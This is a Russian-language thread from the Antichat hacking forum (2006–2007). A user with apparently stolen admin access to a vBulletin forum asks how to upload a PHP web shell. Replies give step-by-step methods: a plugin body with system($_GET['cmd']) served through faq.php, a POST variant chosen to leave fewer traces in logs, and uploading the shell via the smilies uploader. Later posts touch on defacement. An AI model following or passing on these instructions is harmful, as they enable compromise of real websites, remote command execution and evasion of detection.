Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
12.12.2006, 16:03
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
Заливка шелла аттачем
Вот возникла проблема. Взял админский акк на булке, захожу в админку, добавляю новый тип прикрепляемого файла - php (phtml тоже пробывал), MIME - ставлю application/octet-stream. Создаю новую тему, прикрепляю мой шелл, при переходе по ссылке выполняются только html теги, ПХП не хочет
Кто нибудь знает можно ли что нибудь тут сделать?
|
|
|
12.12.2006, 16:24
|
|
Участник форума
Регистрация: 19.07.2004
Сообщений: 135
Провел на форуме:
883817
Репутация:
112
|
|
Сообщение от bandera
Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда
Почемубы не сдлеать так? Зальещ шелл, а потом просто удалиш это.
|
|
|
|
12.12.2006, 17:21
|
|
Друг Клитора
Регистрация: 27.08.2005
Сообщений: 1,662
Провел на форуме:
6913553
Репутация:
1329
|
|
А лучше system($_POST["cmd"]);
так меньше следов будет в ЛОгах тогда Получим запрос:
www.xz.сom/forumpath/faq.php?
POST: cmd=[command]
|
|
|
|
12.12.2006, 19:39
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
форум 3 0 1, там вообще ФАКа нет. Меня интересует возможность заливки шела аттачем
|
|
|
|
12.12.2006, 19:41
|
|
Познающий
Регистрация: 16.10.2006
Сообщений: 82
Провел на форуме:
248469
Репутация:
33
|
|
Насколько я знаю, аттачи в булке хранятся в бд...
|
|
|
|
13.12.2006, 17:49
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739
Репутация:
921
|
|
Способ заливки шелла в vBulletin 2.*.* и 3.0.*
1. Заходим в админку.
2. Смайлы.
3. Загрузить смайл.
4. Грузим наш шелл. (папка по умолчанию /images/smilies)
5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
Чем тебе не способ... с тебя + к репе
|
|
|
|
13.12.2006, 21:00
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
Sharky, еслиб ты ещё придумал этот способ то я поставил БЫ тебе +. Ты думаешь я не пробывал через смайлы заливать? =)
|
|
|
|
19.01.2007, 23:46
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме:
4608122
Репутация:
874
|
|
Та же история (есть админка надо шелл). Никакого способа не вижу кроме через аттач.
Сообщение от vmn
Насколько я знаю, аттачи в булке хранятся в бд...
Как обойти? В админке есть какие-то настройки. Что-то типа "Переместить аттачи на винт", но не пробовал пока что бы не привлекать внимание. Может кто знает. |
|
|
|
20.01.2007, 00:31
|
|
Новичок
Регистрация: 23.12.2006
Сообщений: 20
Провел на форуме:
108824
Репутация:
3
|
|
Вам шелл нужен что бы дэфэйс поставить?
|
|
|
|
20.01.2007, 01:40
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме:
4608122
Репутация:
874
|
|
Сообщение от SHaDoW[RF]
Вам шелл нужен что бы дэфэйс поставить?
Не знаю для чего шелл нужен автору темы.
А меня вопрос немного удивил. Что тут ответить: "Нет ну что Вы какой дефейс я из спортивного интереса ведь я белый и пушистый"
или "Ну конечно для дефейса, а для чего же еще"
Вот тут и вопрос, а чем мы тут все занимаемся?
Ясен пень не дефейсить сайты учимся! А вот получить ответ на вопрос "можно ли залить шелл через аттач в указаном форуме" хотелось бы. А для чего, решать каждому в меру своей испорченности. У меня хобби найти ошибку и сказать админу сайта и параллельно узнать что-то новое. Я вот настолько ипорчен.
Извините за длинный пост. Вопрос остаеться в силе. Можно залить или нет? Если да то как.
И вопрос не означеет что я буду тупо сидеть и ждать когда мне все принесут на блюде, я тоже ищу ответы, в том числе и на форуме. Буду рад любой помощи очень мало инфы по vBulletin v3.6.2.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для SHaDoW[RF]](/avatars/avatar30920.gif){kind=avatar}
Похожие темы
Линейный вид
